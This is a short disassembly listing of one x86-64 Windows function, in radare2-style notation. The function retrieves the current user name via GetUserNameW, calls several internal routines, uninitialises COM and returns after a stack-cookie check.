call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
je 0x100018d24
lea r8d, [rbp + 0xf]
lea rdx, [rsp + 0x88]
mov rcx, rsi
call fcn.10001f08c
test eax, eax
cmove ebp, r12d
mov rcx, rsi
call fcn.10001db88
test ebp, ebp
jne 0x100018d6b
test edi, edi
jne 0x100018d50
mov eax, dword [rbx + 0x20]
xchg dword [rbx + 0x20], eax
test eax, eax
jne 0x100018d6b
lea rdx, [rbx + 0x40]
mov rcx, rbx
call fcn.100018f4c
test eax, eax
jne 0x100018d6b
jmp 0x100018d5d
cmp edi, r12d
jne 0x100018d5d
mov rcx, rbx
call fcn.100018fd0
mov eax, dword [rbx + 0x20]
xchg dword [rbx + 0x20], eax
test eax, eax
je 0x100018cac
xor r9d, r9d
xor r8d, r8d
mov rcx, rbx
lea edx, [r9 + 3]
call fcn.100018dcc
mov r11, qword [rbx]
mov rcx, rbx
call qword [r11 + 0x20]
call qword [sym.imp.ole32.dll_CoUninitialize]
xor r9d, r9d
xor r8d, r8d
mov edx, r12d
mov rcx, rbx
call fcn.100018dcc
mov rcx, qword [rsp + 0xa8]
xor rcx, rsp
call fcn.10001e0c0
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r12
pop rdi
pop rsi
ret